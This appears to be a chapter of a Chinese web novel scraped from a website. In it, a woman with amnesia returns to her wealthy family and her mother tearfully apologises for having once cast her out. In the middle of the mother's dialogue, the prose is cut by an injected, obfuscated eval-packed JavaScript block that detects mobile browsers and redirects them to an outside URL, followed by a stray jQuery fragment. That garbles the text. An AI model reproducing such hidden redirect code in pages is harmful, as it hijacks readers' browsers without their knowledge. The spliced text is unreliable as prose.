第162章 我的宝贝,肯定很疼……是不是……

作品:《炽野侵占

    两人并肩而立,男人搂着妇人的肩膀,看向来车的方向。


    男人上了年纪,但身材维持极好,经岁月雕琢的轮廓似冷峻山峦,脸上深深浅浅的皱纹更显威严,戴着副眼镜,就像是陆礼的中年严肃版。


    妇人盘着头发,面上虽有岁月痕迹,但依旧优雅从容,而她看来的目光难掩激动,红了眼眶,手中握着一块手帕,轻压在胸口。


    这是时憬从未想过的一幕。


    她心口像是被温热的风轻轻扑了下。


    陆礼下车,绕到副驾拉开门,眼神温柔的能渗出水,“下车吧,爸妈都在等着我们回家。”


    回……家?


    时憬抿了下唇,下车。


    她跟在陆礼身后,还未靠近门口,妇人已经快步靠近,眼中含着滚动的泪光,“小憬……真的是我的小憬回来了……”妇人忍不住紧紧握住时憬的双手,目光疼爱、怜惜、激动,种种情绪混在一起,都变成哽咽的一句话,“妈妈的乖乖终于回家了。”


    面对如此强烈的情绪,时憬一时不知该如何反应,甚至有些手足无措地站着。


    她没有推开妇人。


    但也没有回应妇人的喜极而泣。


    陆父扶住情绪有些失控的妻子,“若云,先让孩子们进去。”


    陆母才回神,看着女儿有些不知所措的反应,心中愧疚愈浓,她忍着眼泪,松开了手,“是、是,瞧我。乖乖,我们进去慢慢说话,啊?”


    时憬这才礼貌地颔首应下,“好。”


    陆礼站在她身旁,看着父母先一步进去,轻声叮嘱她:“爸妈他们四年没有听到你的任何消息,刚见面时难免有些激动,如果让你有任何不适应,你叫我,我来想办法,不用勉强自己,好么?”


    面对妇人过于激动的反应,时憬的确有点紧张,但在陆礼的话音过后,就变得不那么紧张了。


    “我知道了。”


    她轻声回应。


    “进去吧?”


    “好。”


    陆园处处都是低调中奢华,这座庄园里的装饰也好、家具也好,大部分看上去已经有些年纪了,透着一股老钱风的昂贵。


    进了客厅后,陆父有心想给妻子、女儿制造单独相处的机会,故意找借口把儿子叫走了。


    陆礼离开前,对着时憬无声敲了下手机。


    这个动作他是背着陆父陆母做的,只有时憬一人看见,她悄悄点头,莫名有种背着长辈做小动作的紧张。


    父子二人离开后,陆母坐到时憬旁边,牢牢地望着她,问她这些年去了哪儿,做了些什么。


    这种像闲聊的问题最能打开话题,也能降低谈话人之间的紧张感。


    时憬微微松了口气。


    刚才她还在想,如果阿姨继续哭着诉说一些事情,她一个人该怎么面对。


    还好还好。


    她打起精神,说起过去的事情。


    她以为陆礼已经将她失忆的情况告诉了他们,毕竟这件事情还算蛮重要的,所以她没有在强调失去记忆的这一段,就说自己跟着白行去了栾山,进入小学成为了一名小学老师。


    为了能让气氛轻松些,时憬只讲些有趣的事迹,措辞故意诙谐。


    可哪怕她修饰过,但生活的穷也掩盖不去,陆母从中听出了她生活上种种的不适应、忙碌的工作、以及贫瘠的生活环境。


    她越听越是心疼。


    但女儿却轻描淡写地盖过了这些事实,她也极力当做没有察觉,配合的听着趣事笑了起来。


    两人相谈甚欢。


    有趣的往事总有说完的时候,剩下的只有无尽的牢骚和抱怨,时憬适时住口,气氛一度沉默,陆母借着侧身的动作,用手帕压去快忍不住的眼泪,回过身去,微笑着提议带她去房间看看。


    是时憬以前住的房间。


    时憬也有些好奇。


    自己以前的房间是什么样的,又会有些什么东西。


    她跟着陆母上楼。


    二楼一侧尽头,陆母打开房门。


    一间洒满阳光的房间落入时憬眼中。


    房间里的粉色元素特别多,白色的梳妆台复古典雅,像是古堡里的公主会用的家具,梳妆台上也放着护肤品、香水、化妆品,桌面上干干净净,不见尘封的灰尘。


    床品则是初夏的绿粉色系。


    房间里同样也被各种可爱的装饰品点缀着,是时憬所熟悉的感觉,陆母又带着她去看衣帽间,里面满满当当的,比小高层那边的衣帽间还要夸张。


    陆母目光缓缓扫过每一件她挂起来的衣服、放起来的包包,“挂在外面的都是这些年新买回来的,有你喜欢的牌子,也有些是妈妈觉得乖乖穿起来会好看的衣服,我看啊挑啊买啊,就想着……”她的手指温柔地抚摸过一件真丝连衣裙,上面印着一只只蝴蝶,“等我的乖乖那一天回家了,房间里干干净净的,床上暖暖和和的,衣帽间里有她能替换的衣服,回家了什么都有,什么都不缺,只要她肯回来……”


    忍了那么久的眼泪,终于在这一刻决堤。


    陆母转过身,隔着泪光,看着孩子,“小憬,妈妈和爸爸看见你肯回家,不知道有多开心。哪怕你心里还有芥蒂,不愿意住回家里,我们都尊重你,只是希望还愿意偶尔回来陪我们吃一顿饭、说说话,让我们看看你,好不好?”


    优雅的妇人,此时流着眼泪,语气带着恳求的语气,希望她能有所回应。


    时憬却沉默了。


    陆母将她的沉默当成是拒绝,眼中的愧疚几乎要溢出,“妈妈知道那时候是我错了,说了很多难听的话伤害到了你,甚至、甚至还……”她喉头哽咽,想起那时候自己说的每一句话,都觉得心如刀割,“你、你不愿意原谅妈妈,妈妈不怪你……只是……只是你也给妈妈一个道歉的机会……”


    时憬动了下。


    从她面前离开。


    那一瞬,陆母的眼前被大片的黑暗笼罩。


    她的孩子不肯原谅她……


    她身体控制不住摇晃了下,险些跌倒,直到被一双手扶住。


    时憬看陆母脸色煞白,连忙扶着人做到沙发上,把刚拿在手里的抽纸递给她,蹲在她面前,语气有些紧张地问:“您还好么?要不要我去叫人来?”


    陆母眼前的黑暗才散去。


    她看见了一双关切、温柔的眼睛。


    眼底眸光干净、澄澈。


    这是她的女儿啊,她的女儿没有离开她。


    “没,妈妈没事,”她接过抽纸,擦去眼泪,她的另一只手忍不住抚摸上时憬的头发,目光疼爱、动作温柔。


    像是触碰着宝物。


    时憬安静了会儿,真切地感受到眼前妇人对‘时憬’的疼爱,她也从刚才的对话里察觉到,陆礼似乎没有把她失忆的事情告诉妇人。


    那么,她接下来说的话,对妇人来说可能有些残忍。


    她疼爱的女儿,却把陆家的事情忘记了。


    但,她还是要说。


    这种事不能逃避,只能面对。


    时憬缓缓开口,让自己的语气听上去柔和些,“有一件事,可能陆礼还没来得及和您说。”


    “什么事。”陆母怜惜地询问。


    “四年多以前,我离开陆家后忘记了些事情,所以才回去栾山小学,几个月以前,陆礼才去栾山找到我,把我带了回去。”时憬顿了顿,“从杭县离开后的事情我都不记得了。”


    在她简短的叙述中,陆母诧异地掩唇,“失忆?从杭县离开后是指老太太过世后的事情么?”陆母提及,又想起那段时间女儿的状态,想起儿子后来说的,她一直被抑郁症折磨困扰着,想必是这孩子把老太太过世的错都压在了自己心上,受了太大的打击才忘记的,连忙道:“老太太的事情不怪你,好孩子,爸爸也从来没有怪过你。陆礼早就找到你了?他什么都没有和我们说,还是前两天他突然说你回来了。”


    时憬摇头,“不是您说的那段时间,是——”她垂下眼睫,轻声说:“是十四多年前,我离开杭县来到沙市后的所有事情,都忘记了。在那之间,也有部分事情不记得了。”


    十四年多年前……


    那不是她来到陆家过后的事情?


    她都忘记了?


    陆母双目怔然,眼泪止不住涌出来。


    她看着眼前蹲在自己面前的女孩儿,看着她垂着的眉眼,听着她轻声细语的语气,心脏都快疼得喘不上气。


    是、是因为她说的那些话——


    那时候她的宝贝因为生病已经那么痛苦了,还因为被人下了药更加痛苦,她从国外回来是为了求救的,可她做了些什么?说了些什么?!


    她打了她的女儿!


    她把自己的孩子赶了出去!


    在女儿最痛苦的时候!


    那天晚上,从陆家被她赶出去的孩子该有多绝望痛苦啊,才会把十多年的记忆都忘记了,把他们都忘记了,她、她才能继续活下来……


    陆母压着哭声,浑身都在发抖。


    抬起胳膊,手指也在颤栗,小心翼翼地用手掌贴在时憬的脸颊上,声音嘶哑:“对不起……宝贝……肯定很疼……是不是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253929|188794||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……是妈妈错了……”


    是她错了啊!


    大错特错!


    她的乖乖、她的宝贝,她看着长大的孩子,她本该是女儿的依靠啊!她当时被猪油蒙了心!什么名声、什么声望都是假的,只要孩子们都好好的,一家人都在一起。


    是她醒悟得太晚!


    陆母哭得止不住。


    温柔细腻的手掌贴在时憬的脸颊上,像是触碰一个伤口,如此小心、轻柔,一遍遍地道歉,一遍遍地问她还疼么。


    时憬垂下的眼睫颤了下。


    疼么?


    她都忘记了,已经无法回答这个问题


    可身体似乎还记得,从眼眶里渗出温热的眼泪,像是在说什么现在的时憬无法理解的情绪。


    或许——


    在她选择忘记那些记忆的时候,她仍爱着每一个人。


    到后来,时憬也被陆母的情绪感染,哭得停不下来,两人哭成一团,妆容都花了,变成了两张花脸,这才止住。


    卸妆洗了脸,衣服上也都是眼泪痕迹,没法再穿了,时憬时隔多年在这间陌生的房间里洗漱。


    陆母递给她一件一模一样的连衣裙。


    时憬眨了眨眼,有些意外。


    “是您吹干了么?”


    她记得胸口都湿了。


    陆母摇头,“这是今年春季的新款,也是你喜欢的牌子,”说着笑了下,“陆礼细心,也知道你的喜好,这几年肯定没少买,两边准备的衣服估计有一半以上都是重复的。”


    时憬想了下,难怪她刚才看衣帽间觉得眼熟。


    她换上衣服,说了声谢谢。


    陆母摸了下她的脸颊,轻轻一下,“一家人客气什么。”


    手掌温柔,还带着好闻的香气。


    时憬没有躲开,对着眼前温柔优雅的妇人,露出一个有些生涩的笑脸。


    一家人。


    她好像不太反感这个词了。


    时憬垂下眼,这个念头短暂冒了个头。


    走廊中,陆礼刻意放轻脚步声,厚实的地毯也掩盖了微弱的动静,透过半掩的房门,他看见并肩坐在一起的两人。


    母亲手里拿着一本相册,正同妹妹说些什么,妹妹听得笑盈盈的,低头认真地看着,在走廊里还能听见她轻松、愉悦的声音。


    恍惚间,像是回到了七八年前。


    好像一切都还未发生。


    陆礼背靠在走廊,将自己藏在阴影中,听着妹妹的欢声笑语。


    他还要等多久,才能等回这样的妹妹。


    还要……


    多久……


    *


    下午时间一晃而过。


    时憬和陆母比刚见面时自然、亲近了不少,虽还不如从前更亲密的时候,但现在的状态陆母已经很满足了,时憬也觉得现在的程度刚刚好。


    晚饭在小餐厅里吃。


    陆家一家四口齐聚,更显得温馨。


    柳姨早早得知今天时憬终于要回家了,两天前就开始列菜单,今天更是在厨房里忙活了一天,每一样都菜、每一道工序都是她亲自动手,没让其他人帮忙。


    上菜时,柳姨露了个脸。


    柳姨也是看着时憬长大的,这几年也没因为担心她红了眼睛,现在看见孩子好端端、健健康康地在自己眼前,高兴的合不拢嘴。


    陆母笑吟吟,指了柳姨道:“柳姨,你以前最爱吃她的糖醋排骨、菠萝咕咾肉,今晚这桌菜也都是她给你张罗的,都是你爱吃的。”


    她们分别四年多,有许多事情可能都模糊了,陆母的这番话并未让柳姨觉得奇怪。


    时憬叫了声柳姨,“今天辛苦您了。”


    柳姨哎了声,眼眶也红红的,“不辛苦、看见小姐就都不辛苦了。多吃些,等会儿还有你喜欢的菜!”


    时憬忙道谢谢。


    柳姨再高兴,也知道今晚是主家一家四口团聚的日子,又去厨房忙去了。


    时憬认真吃菜。


    桌上简直是各地菜色大杂烩。


    各个地方的菜系都有。


    大部分都是时憬不记得自己爱吃的,但每一筷子下去,都好好吃!


    陆母慈爱地看着女儿吃饭的模样,又是欣慰又是心疼,栾山那种偏僻的地方,菜肯定重油重辣,她的乖乖那四年肯定没吃上什么好吃的菜,这一回家才吃得这么好。


    “慢点吃,好吃下次还让小柳做。”


    陆母一边夹菜,一边柔声叮咛。


    说完后,她才想起一件事,问道:“乖乖,这几个月你都住在哪儿了?怎么吃饭的?一直吃外卖可不好,回头让小柳跟你回去,也方便照顾你。”